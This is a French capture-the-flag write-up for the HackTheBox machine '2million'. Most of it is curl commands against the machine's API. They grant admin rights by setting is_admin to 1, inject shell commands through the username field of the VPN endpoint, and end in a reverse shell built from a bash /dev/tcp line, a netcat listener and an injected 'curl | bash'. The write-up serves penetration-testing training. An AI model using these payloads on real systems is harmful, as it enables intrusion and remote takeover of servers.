Abus API HackTheBox

Exploitation de l'API HACKTHEBOX

Observation de l’API

En visitant /api, on observe les routes disponibles

Tentative de génération de config VPN (échec initial)

curl -v -X POST \
     -H "Content-Type: application/json" \
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/vpn/generate

Réponse : non autorisé.

Modification de notre rôle via l’API

Nous testons la modification des paramètres utilisateur avec la route :

curl -X PUT \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/settings/update

{"status":"danger","message":"Missing parameter: email"}

curl -X PUT \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "[email protected]"}'

{"status":"danger","message":"Missing parameter: is_admin"}

curl -X PUT \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "[email protected]", "is_admin": 1}'

Réponse :

{"id":15,"username":"Jordan","is_admin":1}

Vérification de notre statut admin

curl -s -X GET \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

RCE via Injection de Commande

curl -s -X POST \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "[email protected]"}'

Tentative d’injection de commande dans le champ username :

curl -s -X POST \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

Reverse Shell

1. Serveur de fichiers

echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

1. Netcat en écoute

nc -nvlp 443

1. Envoi de la commande

curl -s -X POST \
     -H "Content-Type: application/json" \
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" \
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    

Nous obtenons un shell inversé